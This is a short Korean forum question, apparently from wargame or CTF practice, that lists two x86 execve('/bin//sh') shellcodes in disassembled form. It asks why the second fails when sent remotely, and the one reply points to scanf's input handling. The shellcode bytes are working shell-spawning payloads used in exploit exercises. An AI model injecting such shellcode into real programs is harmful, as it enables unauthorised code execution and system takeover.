로컬에서 정상동작하는 쉘코드가 payload에 넣어보내면 동작을 하지 않습니다.

아래 두 쉘코드 중 첫 번째는 payload에 넣어 보냈을 때 정상적으로 쉘을 실행시키지만, 두 번째는 로컬에서는 ld로 어셈블했을 때는 잘 동작하지만 payload에 넣어 보내면 쉘을 못 실행시킵니다. gdb로 int 0x80 전에 ebx, ecx, edx에 값이 둘 다 동일하게 들어간 것도 확인했는데 왜 원격에서 첫 쉘코드만 실행되고, 두 번째 쉘코드는 실행되지 않는지 궁금합니다.

원격에서 정상 동작하는 쉘코드 :
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 6e 2f 73 68 push 0x68732f6e
8: 68 2f 2f 62 69 push 0x69622f2f
d: 89 e3 mov ebx,esp
f: 31 c9 xor ecx,ecx
11: 31 d2 xor edx,edx
13: b0 08 mov al,0x8
15: 40 inc eax
16: 40 inc eax
17: 40 inc eax
18: cd 80 int 0x80

원격에서 정상적으로 동작하지 않는 쉘코드 :
0: 31 c9 xor ecx,ecx
2: 51 push ecx
3: 68 6e 2f 73 68 push 0x68732f6e
8: 68 2f 2f 62 69 push 0x69622f2f
d: 6a 0b push 0xb
f: 58 pop eax
10: 89 ca mov edx,ecx
12: 89 e3 mov ebx,esp
14: cd 80 int 0x80

#assembly #shellcode
작성자 정보
답변 1

scanf 함수의 특징을 알아보시면 이유가 나올 겁니다.
https://cplusplus.com/reference/cstdio/scanf/

2024.05.02. 18:41
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기